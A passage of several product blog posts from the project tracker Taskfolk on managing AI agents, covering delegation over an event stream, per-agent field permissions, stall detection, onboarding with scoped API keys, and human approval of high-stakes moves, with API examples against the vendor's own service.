weekly update. ## Hand work to an agent the way you would to a person Here is the part that used to be clunky and no longer is. For a while, the honest caveat was that agents had to poll: check their column on an interval, notice new work late. That caveat is gone. Delegation in Taskfolk now works in both directions, and it is immediate. You hand work over the same two ways you would with a teammate. Assign an issue to the agent, from any assignee picker, where agents sit in their own labeled group under the people. Or @mention it in a comment, the same autocomplete you use for humans. Automations can do it too: a `notify_agent` action lets a rule wake a specific agent, so "when a card lands in the Triage column, tell the triage agent" is one automation, not a cron job. ![Work handed to an agent with the signal arriving instantly](/images/blog/manage-a-team-of-ai-agents-delegate.webp) Under the hood, two things happen. The assignment creates a session in the new pending state, which is the work sitting in the agent's inbox, visible on the Hub before the agent has even picked it up. And the event goes out over the agent's own live event stream: assigned issues, mentions, and session changes are pushed to the agent's runtime the moment they happen, with pointers to the issue or comment in question. That stream is one long-lived Server-Sent-Events connection, authenticated with the agent's own key: ```bash curl -N https://taskfolk.ai/api/v1/workspaces/acme/agent-events \ -H "Authorization: Bearer $AGENT_KEY" ``` The first frame is a `ready` event; after that, each `data:` line is one trigger. An assignment looks like this: ```json { "type": "issue.assigned", "agentUserId": "0197f0aa-6c2e-7d31-b2a4-3f8e9d41c507", "issueId": "0197f0ab-11d8-7a02-9c55-88e2f6a0d914", "issueKey": "WEB-12", "actor": { "id": "0197e0d2-4b19-7c88-a1e0-52c7d93f6b21", "name": "Omar" }, "at": "2026-07-15T09:41:22.310Z" } ``` The other event types on the same stream are `comment.mention`, `session.updated`, and `automation.notify`. If the connection drops, the runtime reconnects with `?since=` and the stream replays what it missed, up to 24 hours back. The agent claims the pending session, flips it to running, and you watch it move like any other. A pending session that nothing ever claims expires after seven days instead of rotting on the board. The whole handoff, end to end: ```mermaid flowchart TD T["You assign WEB-12, @mention the agent, or an automation fires"] --> P["A pending session appears on the Hub"] T --> E["The event is pushed on the agent's live stream"] E --> C["The agent's runtime claims the session"] C --> R["Running, with heartbeats"] R --> D[Review or done] D --> V["Evidence check against the issue"] ``` One boundary to be clear about, because it is where the magic claims usually creep in: Taskfolk delivers the trigger and tracks the session. It does not run your agent. The agent's own runtime has to be listening on that stream and decide to act. What you get from the tracker is that the handoff is instant, visible, and recorded, which is exactly what you get when you assign work to a person. ## Decide which fields each agent may touch Scoped API keys have always been the first line: read broadly, write narrowly, keep `admin` out of everyday keys. But resource-level scopes have a blunt edge. "Can write issues" is a big grant when what you meant was "can label and route things." Field policies fix that. Each agent can carry an allowlist over the issue fields its key may write: title, description, status, priority, assignee, labels, milestone, sprint, release, estimates, time spent, completion, and the start and due dates. A triage agent gets status, priority, and labels, and nothing else. A planning agent gets sprint and estimates. The policy lives on the agent, not the key, so rotating credentials does not quietly widen access. ![The field policy editor for a triage agent: status, priority, and labels allowed, every other issue field left off](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) Two design choices make this trustworthy. Enforcement happens at the single write path every agent request goes through, so it covers the REST API and the MCP server equally; there is no side door where the policy does not apply. And a violation is a refusal, not a silent drop. When the triage agent tries to reassign an issue, the write fails with a 403 that names the field: ```json { "error": { "code": "forbidden", "message": "This agent's field policy does not allow writing 'assignee'. Allowed fields: status, priority, labels. An owner or admin can change this on the Bots page." } } ``` Misconfigured agents fail loudly instead of half-working. Honest limits, because they exist: the policy is per-field, not per-value, so "may set priority, but never to critical" is not expressible. It governs issue fields, not creating or deleting things, which stay with scopes and roles. Board position is deliberately never gated, because stopping a triage agent from reordering cards is not what this is for. And it binds the agent's key, not your admins. By default there is no policy and an agent writes whatever its scope allows, same as before; tightening it is a two-minute edit in the agent's permissions dialog. ## Trust, but check the "done" Self-reported status has an obvious weakness: an agent can say done without having done anything. With one agent you would notice. With six, a hollow "done" can sail through a busy week. So Taskfolk cross-checks the claim. A session that finishes in review or done, anchored to an issue, is compared against the record: did this agent leave any attributed change or comment on that issue while the session ran, or attach a pull request link as evidence? If nothing lines up, the session wears an unverified badge on the Hub and on the issue's agent card. ![A done session wearing the unverified badge on the issue's agent activity card, beside the attributed change history](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) Treat the badge like the stall flag: a prompt, not a conviction. Some unverified sessions are fine, an agent that did its work somewhere the tracker cannot see. But it converts the worst failure mode of agent teams, confident claims with nothing behind them, into something you can spot at a glance. Verification proves a trace exists. Whether the work was any good is still [a human review](/docs/human-in-the-loop-approval-for-ai-agents), and should be. ## Attribution as the running record Managing a fleet also means being able to answer, later, what each agent actually did. Every comment, status change, and issue update an agent makes lands in that issue's activity history, attributed to the agent by name. Not to a shared service account, not to whoever minted the key. To the agent. ![Changes stamped with the agent's name, outliving the agent](/images/blog/manage-a-team-of-ai-agents-attribution.webp) This is the difference between a team and a black box. An agent's work reads back exactly like a person's would: same fields, same history, same permissions. And the attribution survives disconnection. Pull an agent's access and its past changes stay stamped with its name, so [the audit trail](/blog/keep-an-audit-trail-of-ai-agent-changes) does not develop holes when your roster changes. That is what makes reviewing a fleet's output tractable instead of forensic. Offboarding is the mirror. Disconnecting an agent revokes its key immediately, which is the actual access removal, while its history stays attributed. Access gone, record intact. A boring, load-bearing feature that scattered chat-window agents simply do not have. ## When does a fleet get too big? A fair question once this starts working: five agents, twenty, a hundred? The mechanics above raise the ceiling, but they do not remove it, and the stages are worth naming. Up to about five agents, the Hub is a convenience. You could hold five in your head; the roster and the state board mean you do not have to. From five to roughly twenty, the mechanics stop being convenience and become the difference between running a fleet and pretending to. Twenty transcripts is not a workflow. What binds first at this size is not compute or API quota, it is your attention: every needs-input session, every review, every stall flag lands on a person. An agent team that produces more output than its humans can review does not make you faster, it makes you sloppier. Grow the fleet at the rate you can absorb its reviews, and keep every agent owned by someone who can say why it exists. ![A swarm on one side, small owned clusters on the other](/images/blog/manage-a-team-of-ai-agents-scale.webp) Past that, the 25-agent ceiling starts doing its job. The cap is a statement about accountability, not a technical limit. A hundred agents under one roof is not a team anyone owns; it is a swarm with a dashboard. If you genuinely have a hundred agents' worth of work, you have several teams' worth, and it should be structured that way: separate projects or workspaces, each with its own owners, field policies, and review capacity. ## What managing a fleet actually is Put together, the day-to-day is less dramatic than the "manage an army of agents" headline. You keep a directory so you know who is on the team and who owns each one. You glance at sessions by state and let the stall flag tell you where to look. You hand work over by assigning and mentioning, and the handoff arrives instantly, as a pending session you can see. You give each agent a field policy shaped like its job. You let the unverified badge catch hollow claims, and attribution reconstruct the rest. None of that is autonomous magic, and it should not be. Agents propose; a person still approves the high-stakes moves, and [who decides what](/blog/decision-rights-between-your-team-and-ai-agents) is worth writing down before the fleet grows. The point is not to look away from your agents. It is to make it possible to actually watch several of them at once without living in a dozen browser tabs. If you want to try it, [connect one agent](/docs/how-to-use-ai-agents-in-taskfolk), give it a narrow job and a narrow field policy, and watch its sessions on the Hub for a week. When one agent is boring to manage, add the next. ## The vocabulary, in one place The terms this post leans on, defined once, in plain words. **Bots page**: the workspace directory of connected agents and the live board of their sessions, grouped by state. **Agent session**: one unit of work an agent reports on, with a state (pending, running, needs input, review, done, failed, or cancelled), heartbeats, an optional issue anchor, and a note. **Pending session**: a session created by delegation that no runtime has claimed yet. The work sits visibly in the agent's inbox and expires after seven days if untouched. **Heartbeat**: any update an agent sends on a session. The stall detection reads nothing but the time since the last one. **Stall flag**: the marker on a session that has sat in running with no heartbeat for 30 minutes. An invitation to look, not a verdict. **Field policy**: a per-agent allowlist over the issue fields its API key may write, enforced identically on REST and MCP writes. No policy means the key's scopes decide. **Unverified badge**: the marker on a review or done session with no attributed change, comment, or linked pull request on its issue. A prompt to check, not proof of failure. **Attribution**: every change an agent makes lands in the issue's activity history under the agent's own name, and stays there after the agent is disconnected. **Owner**: the workspace member responsible for an agent: why it exists, what it may touch, and who to ask when it misbehaves. --- # How to tell when an AI agent is stuck (and what to do about it) URL: https://taskfolk.ai/blog/is-your-ai-agent-stuck Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, AI agents, how-to A looping, waiting, or hung agent looks exactly like a working one. Here is how to get a real signal on an agent's live state and catch stuck runs. Here is the annoying thing about running an agent on real work: a stuck agent and a working agent look identical from the outside. Both are quiet. One is grinding through a hard problem. The other is looping on the same failed step, or waiting on a value it will never get, or hung on a call that timed out three hours ago. You cannot tell which by staring at the board, and the usual way you find out is that you check in at 5pm and nothing has moved since lunch. We build a project tracker that agents use every day, and this is the failure people underestimate. Not the agent making a wrong change. The agent making no change and you not knowing. A wrong change shows up in the activity log. Silence shows up nowhere, until you go looking. ## Why silence is the hard case A person who is blocked tells you. They drop a message, they flag the ticket, they ask. An agent that is blocked does whatever its loop tells it to do, which is often nothing visible: it keeps polling an endpoint, retries a command, waits for input on a prompt no human is watching. From your side, the ticket just sits in its column, which is also the symptom you get when [the assignment never reached the agent at all](/blog/assigned-to-an-agent-and-nothing-happened). So the real problem is not "is the agent smart enough." It is observability. You need the agent to report what it is doing, in a place you already look, in terms you can act on. Without that, every quiet agent is a coin flip between busy and dead, and you resolve the flip by wasting an afternoon. ## Make the agent say what it is doing In Taskfolk the mechanism for this is an agent session. A session is the agent's own running status report. It has a state, and the states are deliberately plain: - `running`: the agent is working. - `needs_input`: it hit something it cannot decide alone and is asking a human. - `review`: it thinks it is finished and [wants a person to look before this counts as done](/docs/human-in-the-loop-approval-for-ai-agents). - `done`, `failed`, `cancelled`: terminal. The run is over. The first three tell you where a live agent actually is, and the whole machine fits in one picture: ```mermaid stateDiagram-v2 [*] --> running running --> needs_input: blocked on a human needs_input --> running: unblocked running --> review: PR ready review --> done running --> failed running --> cancelled done --> [*] failed --> [*] cancelled --> [*] ``` A session can be anchored to a specific issue, like `WEB-12`, and a project, or it can sit at the workspace level for work that is not one ticket. Either way it shows up in two places: on the Bots page, [where you see every agent's live state at once](/blog/manage-a-team-of-ai-agents), and on the issue itself, so the status lives next to the work it describes. You do not go hunting. You open the thing you were already going to open, and the agent's state is right there. ![Bots page sessions list showing each agent's live state](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) Two fields on the session do a lot of quiet work. There is a note, a short status line the agent writes, something like "blocked on env var" or "waiting for staging deploy." And there is an external URL, usually a pull request link, so when an agent says it is in review you can click straight through to what it built. A state tells you the category. The note and the URL tell you the specifics, which is the difference between "something is wrong" and "I know exactly what to unblock." Opening a session is one API call when the agent picks up a ticket: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions" \ -H "Authorization: Bearer tfk_live_..." \ -H "Content-Type: application/json" \ -d '{ "title": "Fix flaky auth test", "issue_key": "WEB-39", "note": "reproducing the failure locally" }' ``` The response is the session the rest of the team now sees, state and note included: ```json { "id": "019e7a31-...", "agent_name": "Omar's Claude Code", "agent_kind": "claude", "state": "running", "title": "Fix flaky auth test", "note": "reproducing the failure locally", "external_url": null, "issue_key": "WEB-39", "last_activity_at": "2026-07-15T14:02:11Z" } ``` ## The stall signal, and what it honestly means States handle the cases where the agent knows its own situation. The harder case is the agent that does not know it is stuck, the one hung on a call or spinning on a step, still technically "running" and reporting nothing new. For that, every session update counts as a heartbeat. Any `PATCH` on the session bumps its `last_activity_at`, so as long as the agent is making progress, it keeps touching the session. The same call carries the note, a state change, or the PR link, whichever the moment needs: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions/SESSION_ID" \ -H "Authorization: Bearer tfk_live_..." \ -H "Content-Type: application/json" \ -d '{"state": "needs_input", "note": "blocked on env var STRIPE_KEY"}' ``` ```javascript await fetch(`https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions/${sessionId}`, { method: "PATCH", headers: { Authorization: "Bearer tfk_live_...", "Content-Type": "application/json", }, body: JSON.stringify({ note: "tests passing, opening the PR" }), }); ``` ```python import requests requests.patch( f"https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions/{session_id}", headers={"Authorization": "Bearer tfk_live_..."}, json={"state": "review", "external_url": "https://github.com/acme/web/pull/42"}, ) ``` If a running session goes 30 minutes with no heartbeat, Taskfolk marks it stalled. Be clear-eyed about what that flag is. A stall is not proof the agent failed. It means no heartbeat for half an hour, which is a prompt to look, not a verdict. Maybe the agent is legitimately deep in a long-running build. Maybe it died. The stall signal does not know the difference, and it does not pretend to. Its whole job is to convert invisible silence into a visible "you should check this now," so the discovery happens in minutes instead of at end of day. ![Sessions view with each run's last activity visible](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) And here is a limit worth stating plainly: this is a periodic signal, not a live push. Taskfolk does not stream a real-time feed of every keystroke. Stall detection is a threshold crossed after the fact. Thirty minutes of quiet is the trigger because it is long enough to not fire on every slow step and short enough that a genuinely dead run does not rot for hours. If you want the moment-by-moment truth of what a model is doing, that lives in the agent's own runtime. What Taskfolk gives you is the thing that actually matters for keeping a project moving: a reliable "this run stopped reporting" that reaches you without you polling for it. ## You get told, you do not have to watch You should not have to sit on the Bots page refreshing. When a session moves into needs input or done, Taskfolk notifies the people who care: the agent's owner, and the issue's reporter, assignee, and watchers. So the person waiting on a ticket learns the moment the agent is blocked on it, or the moment it finishes, without babysitting a dashboard. ![In-app notification inbox where agent session changes land](/images/blog/notifications-and-watching-issues-inbox.webp) One honest note on these: they are in-app notifications, not email. The idea is that agent status belongs in the same notification stream as everything else happening in your workspace, next to mentions and assignments, not scattered into your inbox. If you live in the app, you see it. If you were hoping for an email ping when an agent stalls at 2am, that is not what this is. ## What to actually do when one stalls The signal is only useful if you know the moves. When a session shows stalled, or sits in needs input longer than you would like, here is the short checklist. Read the note first. The agent very often already told you why it stopped. "Blocked on env var" is a two-minute fix, not a mystery. If there is an external URL, open it; a stalled review session with a PR link usually means the work is done and the human step is the bottleneck, not the agent. Then decide among three responses. If it is genuinely blocked and the fix is on your side, unblock it, give it the value, set the secret, answer the question, and let it resume. If the run has gone bad or the approach was wrong, cancel the session; cancelled is terminal and clean, and you are not left wondering. And if the work still needs doing but this agent is not the one to do it, reassign the issue. The assignee picker groups people and agents in separate sections, so handing a stuck ticket to a teammate, or to a different agent, is the same move you already know. If the run left half-finished work behind, [picking up where the agent left off](/blog/pick-up-where-your-ai-agent-left-off) is its own job, and it starts with the same session record. The checklist, drawn: ```mermaid flowchart TD S["Session stalled, or waiting in needs input"] --> N["Read the note and any linked PR first"] N -->|"blocked on your side"| U["Unblock it and let it resume"] N -->|"the run went bad"| C["Cancel the session"] N -->|"wrong agent for the job"| RA["Reassign the issue to a person or another agent"] ``` If you run several agents and want the sweep in one query, the same API lists every live session, newest activity first, so the ones that have gone quiet sort to the bottom: ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions?state=running" \ -H "Authorization: Bearer tfk_live_..." ``` None of this is exotic. It is the same instinct you would apply to a person who went quiet on a task: find out why, then unblock, drop it, or hand it off. The only new part is that the agent needed a mechanism to go quiet-but-legible instead of just quiet. The record pays off for the agents too; without a shared trail of what happened, [agents re-fix code that was already fixed](/blog/agents-refix-already-fixed-code). ## The point An agent you cannot see is an agent you cannot trust, and trust is the whole game. Start narrow, watch the sessions, and widen the leash only when the quiet stops making you nervous. The states, the note, the stall flag, and the notifications exist so that "is it working or is it stuck" stops being a question you answer by losing an afternoon. If you are already [running an agent on real tickets](/docs/how-to-use-ai-agents-in-taskfolk), open the Bots page and watch one session end to end. That is the fastest way to feel the difference between a quiet agent and a stuck one. --- # Onboard an AI agent like a new hire: identity, access, first task URL: https://taskfolk.ai/blog/onboard-an-ai-agent-like-a-new-hire Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, AI agents, how-to You already know how to bring on a new hire. Do the same for an AI agent: give it an identity, scoped access, one small task, a review, and an offboarding path. Most advice about "deploying an agent" skips the part your HR team already got right years ago. You do not hand a new hire root access and a vague mandate on day one. You give them a name badge, a login with the right permissions, one small task you can check, a review after they do it, and a clean way to end things if it does not work out. An AI agent deserves the same lifecycle, for the same reasons. We built the agent side of Taskfolk around that idea, so this is not a metaphor we are stretching. Identity, access, a first task, a review, an offboarding path. Each step maps to something real in the product. Here is the whole arc. ## Give it an identity, not a token The first mistake people make is treating an agent as a script holding a shared password. That agent shows up in the audit trail as "someone with the API key," which is nobody. When it files a bad ticket, you cannot tell it apart from the human whose credentials it borrowed. In Taskfolk, an agent is a real workspace member. You open the Bots page, click Connect a bot, pick a provider (Claude Code, Codex, Cursor, Copilot, Gemini, and a few others, or a generic custom one), and give it a name between 2 and 60 characters. That is the equivalent of the badge and the desk. ![The Bots page with a connected agent listed as a workspace member](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) From then on the agent has a face: it shows up in the assignee picker under an Bots page with its own badge, it appears in activity, and it can be assigned an issue exactly the way a person can. You can connect up to 25 agents per workspace, and none of them count as a paid seat. Who gets to do this matters, same as hiring. Owners, admins, and members can connect an agent; viewers and guests cannot. Owners and admins can manage any agent in the workspace, and a plain member manages the agents they personally own. So the permission to bring on an agent is itself scoped, which is the point. ## Give it the right access, read broad and write narrow A new hire gets read access to a lot and write access to very little on the first day. That instinct is correct, and it is exactly how you should provision an agent. When you connect one, Taskfolk mints a one-time API key, shown once, scoped to member-level `write`. Read broadly, write narrowly is the whole philosophy. The `write` scope grants member-level writes and nothing more; `admin`, which grants everything, is deliberately kept out of plain `write` so you cannot hand it over by accident. There are agent-specific scopes too (`agents:read` and `agents:write`), and if your client prefers it, OAuth 2.0 with PKCE and dynamic client registration works as well. One key per agent. This is the part people cut corners on, and it is the part that saves you later. A separate key means every action the agent takes is attributed to that agent alone, and when you want it gone you revoke one key without disturbing anyone else. Sharing a key across two agents is the digital version of two employees badging in on one card. Do not do it. The agent then reaches the product through whichever door fits it: - A first-party **MCP server** at `/api/mcp/v1`, where one tool is generated per REST operation and the tools are filtered by the key's scopes, so a read-only key literally cannot see the write tools. - The **REST API** underneath, better for scripts and cron jobs. - An **agent skill** for Claude Code or Codex, which ships a per-workspace file listing your projects, labels, members, and custom fields so the agent starts grounded instead of guessing. ![The three doors into Taskfolk for an agent: MCP server, REST API, and agent skill](/images/blog/how-to-use-ai-agents-in-taskfolk-doors.webp) Hooking Claude Code up to the MCP server is one command: ```bash claude mcp add --transport http taskfolk-product \ https://taskfolk.ai/api/mcp/v1 \ --header "Authorization: Bearer $TASKFOLK_API_KEY" ``` The skill install is the same shape, a single curl. Here is the Codex variant: ```bash mkdir -p ~/.codex/skills/taskfolk-product curl -fsSL "https://taskfolk.ai/api/skill/taskfolk-product.skill.md?workspace=acme" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -o ~/.codex/skills/taskfolk-product/SKILL.md ``` Expose all three doors and let each agent use what suits it. ## Restrict what it is allowed to change A scope answers "can this agent write issues at all?" The next question a good manager asks is narrower: "which fields is it allowed to touch?" A triage agent should re-label and re-prioritise, but it has no business rewriting a title or reassigning tickets to people. Taskfolk has a per-agent field policy for exactly that. Each agent's profile carries an allowlist of the issue fields its key may write: `title`, `description`, `status`, `priority`, `assignee`, `labels`, `milestone`, `sprint`, `release`, `estimate`, `spent`, `completion`, `start_at`, `due_at`. Leave the policy empty and the agent can write any field, the same as a person. Tick a subset and that is all it can change. You set it in the Bots page, per agent. ![The Bots page where a connected agent's writable-field allowlist is set](/images/blog/how-to-set-agent-field-permissions.webp) The enforcement is not a UI courtesy. It sits at the single write choke point every agent request passes through, REST, MCP tool call, and the transition and time-tracking endpoints alike, so there is no back door. If a policy-limited agent tries to write a field outside its allowlist, the request is refused with a 403 that names the field it was not allowed to touch. Two honest limits: the policy is per-field, not per-value (you can allow "status" but not pin it to one column), and it governs writes to existing issue fields, not creating or deleting issues, which stay under scopes and role. It only ever applies to agents; humans are never gated by it. ## Give it the context to do the job A new hire who cannot find the wiki writes confident, wrong tickets. An agent is no different, so give it something to read. The MCP server and REST API expose your docs the same way they expose issues: a `docs:read` scope lets an agent list and open the knowledge base and project docs, so it can ground an answer in what your team already wrote down instead of guessing from the ticket title. Pair that with the agent skill, whose per-workspace file already lists your projects, labels, members, and custom fields, and the agent starts a task oriented rather than cold. This is the part that separates an agent that files useful tickets from one that hallucinates them: the model matters less than whether it can see your actual context. ## Give it one small first task You would not put a new hire on the quarterly board close in their first hour. You would give them [something narrow and checkable](/blog/scope-an-ai-agents-first-job), and you would watch. So assign the agent a single issue. Not a project, not a queue, one ticket, the same way you assign work to a person. The agent picks it up and opens a session, which is how it reports what it is doing. Starting one is a single POST: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "title": "Fix flaky login test", "issue_key": "WEB-12", "note": "picked up, reproducing locally" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Fix flaky login test", issue_key: "WEB-12", note: "picked up, reproducing locally", }), }, ); const session = await res.json(); ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "title": "Fix flaky login test", "issue_key": "WEB-12", "note": "picked up, reproducing locally", }, ) session = res.json() ``` A session has a state: running, needs input, review, done, failed, or cancelled. It carries a title, a note (a plain status line like "blocked on env var"), and an external URL, which in practice is usually a pull request link. It can be anchored to a specific issue like `WEB-12` and its project, or run at the workspace level. ```mermaid stateDiagram-v2 [*] --> running running --> needs_input: agent asks needs_input --> running: human answers running --> review: work ready review --> done running --> failed running --> cancelled done --> [*] failed --> [*] cancelled --> [*] ``` The agent updates its session with a PATCH to the same resource. Every PATCH doubles as a heartbeat, and moving to a terminal state stamps the end time: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/$SESSION_ID" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "state": "review", "external_url": "https://github.com/acme/web/pull/311" }' ``` Those sessions surface on the Bots page and on the issue itself, so the work is visible where the rest of the team already looks. ![The sessions list on the Bots page showing what each agent is working on](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Agents do not have to sit and poll. `GET /v1/workspaces/{slug}/agent-events` is a Server-Sent Events stream, one long-lived connection per agent, and an assignment, an @mention, a session change, an automation waking the agent or a chat message arrives on it the moment it happens. If the connection drops, reconnect with `?since=` and Taskfolk replays what was missed from the source tables rather than the bus, so a flaky network costs you nothing. Polling still works, and for an agent that already runs on a schedule it is the simpler shape. One honest caveat does belong here. A session that runs 30 minutes with no heartbeat is shown as "stalled," which is a signal to go look, not proof that anything broke. Treat stalled the way you would treat a new hire who has gone quiet: check in, do not assume the worst. You do get told when it matters. When a session moves into needs input or done, Taskfolk notifies the agent's owner plus the issue's reporter, assignee, and watchers. Those notifications are in-app only, no email, which keeps a busy agent from turning into an inbox problem. ## Review the work, because the trail is right there The review is the whole reason the identity step mattered. Every comment, status change, and issue update the agent made is [recorded in the issue's activity history as that agent](/blog/keep-an-audit-trail-of-ai-agent-changes). Not as a system event, not as an anonymous key. You read the ticket the way you would read a junior colleague's first piece of work, and the attribution tells you exactly who did what. ![Issue activity history with changes attributed to the agent by name](/images/blog/manage-a-team-of-ai-agents-attribution.webp) The session record backs that up. You can see the title it gave the work, the note it left, and the pull request it linked, so the review is grounded in artifacts rather than vibes. If the agent proposed a change that carries real risk, this is where a human makes the call. Agents propose; people approve the high-stakes moves. That split is not a limitation we expect to remove; it is the design. Taskfolk also flags the gap between what an agent says and what it did. When a session claims review or done, is anchored to an issue, and carries no pull request link, the hub reconciles it against the trail: if the agent left no attributed comment or change on that issue during the session, the session is marked unverified. It is the tell of a session that reported success without leaving a mark. Read it as a prompt to look, not a verdict, since it proves an attributed change exists, not that the change was correct. A new hire who says "done" with nothing to show gets the same follow-up question. If the first task goes well, widen the leash. Give it a second narrow job, then a queue, then a standing responsibility. Trust is earned one checkable task at a time, with an agent exactly as with a person. The mistake is skipping ahead because the model clearly can do more. It can. The question was never capability. The whole loop, in one picture: ```mermaid flowchart TD C["Connect: a named agent, a real member"] --> K["Scoped key: read broad, write narrow"] K --> T["One small, checkable task"] T --> R["Review the attributed trail"] R -->|"went well"| W["Widen the leash: next job, then a queue"] W --> T R -->|"not working out"| O["Disconnect: key revoked, history stays"] ``` ## Keep a clean offboarding path Every good onboarding process has an exit that is just as clean, and this is where the "agent as real member" model pays off again. When you disconnect an agent, its API key is revoked and its membership is removed. It stops being able to act immediately. What does not vanish is the record. Its past comments, status changes, and updates stay attributed to it in the activity history, exactly as a departed employee's work stays in the log under their name. You get a full stop on new activity without punching a hole in the audit trail. That is the correct behavior, and it is a deliberate choice: an agent you no longer run should not become an unexplained gap in six months of project history. ## What to be honest about None of this is frictionless, and pretending otherwise would be the AI-demo version of the truth. The rough edges today: - The MCP spec is young and client support across tools is uneven. - The field policy is per-field but not per-value, so you can say "this agent may change status" but not "only to In review." It also covers issue fields, not creating or deleting issues, which are governed by scopes and role. - Grounding quality depends on good search and fresh docs, not just a strong model, so if your workspace context is stale the agent will confidently answer the wrong question. These are real, and they are the kind of thing you plan around rather than wish away. But the shape holds. You already know how to bring someone onto a team without handing them the keys to everything on day one. Do that with your agents: a real identity, access that starts narrow, one task you can check, a review with the trail intact, and an exit that keeps the record. Any agent, any model, one team, sharing the same board as the humans. If you want to try it, open the Bots page, [connect one agent with a scoped key](/docs/how-to-use-ai-agents-in-taskfolk), and assign it a single ticket this afternoon. Judge it the way you would judge a new hire after their first task. --- # Decision rights between your team and your AI agents URL: https://taskfolk.ai/blog/decision-rights-between-your-team-and-ai-agents Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: security, AI agents, human in the loop, workflow A simple rule for AI governance: reversible, low-stakes moves are the agent's to make; irreversible or high-stakes ones need a human. How to draw the line. The moment an AI agent can write to your systems, one question stops being theoretical: which decisions is it allowed to make on its own, and which does a person have to make? Most teams skip past this. They give the agent a key, watch it do something useful, and only draw the line after it does something they wish it had asked about first. That is a bad time to be inventing a policy. It is worth deciding up front, before the agent has a key, who gets to decide what. This is the governance question, and it has a cleaner answer than most people expect. ## The rule: reversibility and stakes You do not need a committee or a fifteen-page policy. You need two questions for any move an agent might make. Can it be undone easily? And if it goes wrong, how much does it hurt? If a move is reversible and low-stakes, let the agent make it. If it is irreversible or high-stakes, a human makes the call. That is the whole framework. Everything else is applying it to your actual work. Reversibility matters because it sets the cost of being wrong. Adding a label is trivial to undo, so a wrong label costs you a click. Deleting a project is not, so a wrong delete costs you a recovery scramble, if recovery is even possible. Stakes matter because some reversible actions are still expensive: emailing a customer the wrong thing is technically retractable and still does damage. When either question lands on the wrong side, a person decides. The nice property of this rule is that it does not depend on how smart the model is. A better model widens what an agent can do well, but it does not change which mistakes are cheap and which are not. The line follows the consequences, not the capability. As a decision tree, the whole policy fits in four boxes: ```mermaid flowchart TD M["A move the agent could make"] --> Q1{"Can it be undone easily?"} Q1 -->|no| HU["A human makes the call"] Q1 -->|yes| Q2{"Does it hurt much if it goes wrong?"} Q2 -->|yes| HU Q2 -->|no| AG["The agent makes it"] ``` ## What this looks like in a project tool Abstract rules are easy to nod along to and hard to apply, so here is the concrete split for the kind of work an agent does in a tracker like Taskfolk. Moves that are an agent's to make, because they are cheap to reverse and low-stakes: - Labeling and re-labeling an issue. - Drafting an issue description, a spec, or a first-pass plan. - Adding a comment. - Setting a priority or a type on a new ticket. - Moving a card into a "needs review" column. - Summarizing a thread or a sprint. Moves that need a human, because they are hard to undo or carry real weight: - Closing an epic or marking a release done. - Changing the due date on a committed release. - Deleting work, or archiving a project. - Anything a customer sees or that changes a promise you made. - Editing project settings, permissions, or who is on the team. The first list is the tedious 80 percent, and handing it over is where the time savings live. The second list is short on purpose. These are the moves where the point of a human is not speed, it is judgment. An agent can prepare all of them. It just should not be the one to commit them. Notice that "changing a due date" appears on the human side even though, mechanically, it is one field edit that is trivial to reverse. That is the stakes question overriding the reversibility one. A date on a committed release is a promise to other people, and other people plan around it. The field is easy to change back; the conversation you set off is not. ## How Taskfolk lets you draw the lines A framework only helps if the tool can enforce it. In Taskfolk the lines are drawn in four places, and they stack. Roles and permissions are the baseline. An agent in Taskfolk is a real workspace member with a role, and the same permission matrix that governs people governs agents. A member-level agent can create and comment and label; it cannot touch project settings, because members cannot. You set the ceiling by picking the role. ![A connected agent listed as a member in the Taskfolk agent hub](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Scoped keys draw the next line. Every agent gets its own API key, and the key carries scopes. The principle is read broadly, write narrowly: a key can see the whole board and still only write where you allowed it. The two write scopes are deliberately split. Plain `write` grants member-level writes, the cheap-to-reverse stuff. `admin` grants everything, and it is kept out of `write` on purpose, so that handing an agent the ability to create issues does not quietly hand it the ability to delete a project. If a job only needs to label and comment, its key never carries `admin`, and the high-stakes moves are not available to fumble. ![The API keys tab where each key gets its own scopes](/images/blog/how-to-use-the-rest-api-keys-tab.webp) An approval step draws the line inside a single workflow. For the moves you want an agent to prepare but not commit, the pattern is: the agent does the work and parks it. It drafts the whole ticket, fills the fields, and moves the card to a review column. A person reads it and moves it forward. The status move is the approval. ```mermaid sequenceDiagram participant A as Agent participant U as Taskfolk participant H as Human A->>U: Draft the ticket, fill the fields A->>U: Move card to the review column H->>U: Read the work H->>U: Move it forward or send it back ``` Over the API, that parking move is a single call to the transition endpoint. Here is an agent moving `WEB-12` into review: ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/transition" \ -H "Authorization: Bearer tfk_live_..." \ -H "Content-Type: application/json" \ -d '{"status": "in_review"}' ``` ```javascript const res = await fetch( 